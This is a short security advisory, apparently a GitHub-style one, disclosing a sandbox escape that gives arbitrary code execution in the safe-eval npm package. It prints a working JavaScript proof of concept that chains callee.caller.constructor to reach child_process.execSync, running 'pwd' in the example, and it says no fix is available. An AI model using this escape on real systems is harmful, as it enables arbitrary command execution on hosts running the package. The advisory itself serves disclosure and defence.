Summary
Sandbox Breakout / Arbitrary Code Execution in safe-eval
Details

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.

For example, the payload 

((() => { 
const targetKey = Object.keys(this)[0]; 
Object.defineProperty(this, targetKey, { 
get: function() { 
return arguments.callee.caller.constructor( 
"return global.process.mainModule.require('child_process').execSync('pwd').toString()" 
)(); 
} 
}); 
})()

may be used to print the pwd to the console.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.
